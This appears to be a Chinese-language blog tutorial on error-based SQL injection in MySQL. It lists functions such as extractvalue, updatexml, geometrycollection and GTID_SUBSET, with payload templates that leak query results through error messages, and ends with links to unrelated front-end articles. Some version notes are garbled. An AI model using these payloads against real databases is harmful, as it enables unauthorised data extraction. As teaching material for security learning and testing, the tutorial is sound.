🏆今日学习目标: 🍀学会报错注入 ✅创作者:贤鱼 🎉个人主页:贤鱼的个人主页 🔥专栏系列:网络安全 ⏰书接上回,如果有需要可以查看15分钟了解sql注入(一) union注入
- 原理
- 注入
- extractvalue
- 双查询注入
- 双列名查询
- 报错函数
- extractvalue(XML_document,XPath_string);
- updatexml(XML_document,XPath_string, new_value);
- geometrycollection()
- multipoint()
- polygon()
- multipolygon()
- linestring()
- multilinestring()
- exp()
- ST_LatFromGeoHash()
- ST_LongFromGeoHash()
- GTID_SUBSET()
- GTID_SUBTRACT()
- ST_PointFromGeoHash()
- procedure analyse()
利用数据库某些机制,人为制造错误,使得查询的结果出现在报错中 sql查询的星系会被报错语句返回到界面上
注入 extractvalueextractvale(MXL_document,xpath_string);
第一个参数为xml字符串 第二个参数为xpath格式字符串
作用,从xml中返回包含查询字符串
注意! 查询时用group_concat或者limit 记得用substr函数进行截取,extractvalue报错信息最多32个字符
后面的程序和上文union注入差不多,如有需要可以查看
双查询注入上文所说查询时用group_concat或者limit 有些版本的mysql中query不能用聚合函数,面对这种情况,我们只能从口袋里掏出limit 用limit将结果一行一行爆出
join: 用于将两个表连接
在sql查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入
报错函数 extractvalue(XML_document,XPath_string);xml这两个函数报错时,会忽略掉第一个字符若,其后字符 与它连续且相同,也会被忽略 第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为Doc 第二个 参数:XPath_string (Xpath格式的字符串). 作用:从目标 XML中返回包含所查询值的字符串 (>=5.1.5) updatexml(1,concat(0x282b,(QUERY),0x292b),1)
updatexml(XML_document,XPath_string, new_value);第一个参数:XML_document是String格式,为XML文档对 象的名称,文中为Doc 第二个参数:XPath_string (Xpath格 式的字符串)。 第三个参数:new_value,String格式,替换 查找到的符合条件的数据 (>=5.1.5) extractvalue(1,concat(0x282b,(QUERY),0x292b))
geometrycollection()geometrycollection((select * from(select * from(select user())a)b));(5.1>=version=version=version=version=version=version=version=5.7)
ST_LongFromGeoHash()select ST_LongFromGeoHash(user());(*>=5.7)
GTID_SUBSET()select GTID_SUBSET(user(),1);(*>=5.7)
GTID_SUBTRACT()select GTID_SUBTRACT(user(),1);(*>=5.7)
ST_PointFromGeoHash()select ST_PointFromGeoHash(user(),1);(*>=5.7)
procedure analyse()procedure analyse(extractvalue(1,concat(0x3a,user())),1); 放在语句 末尾,(*
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?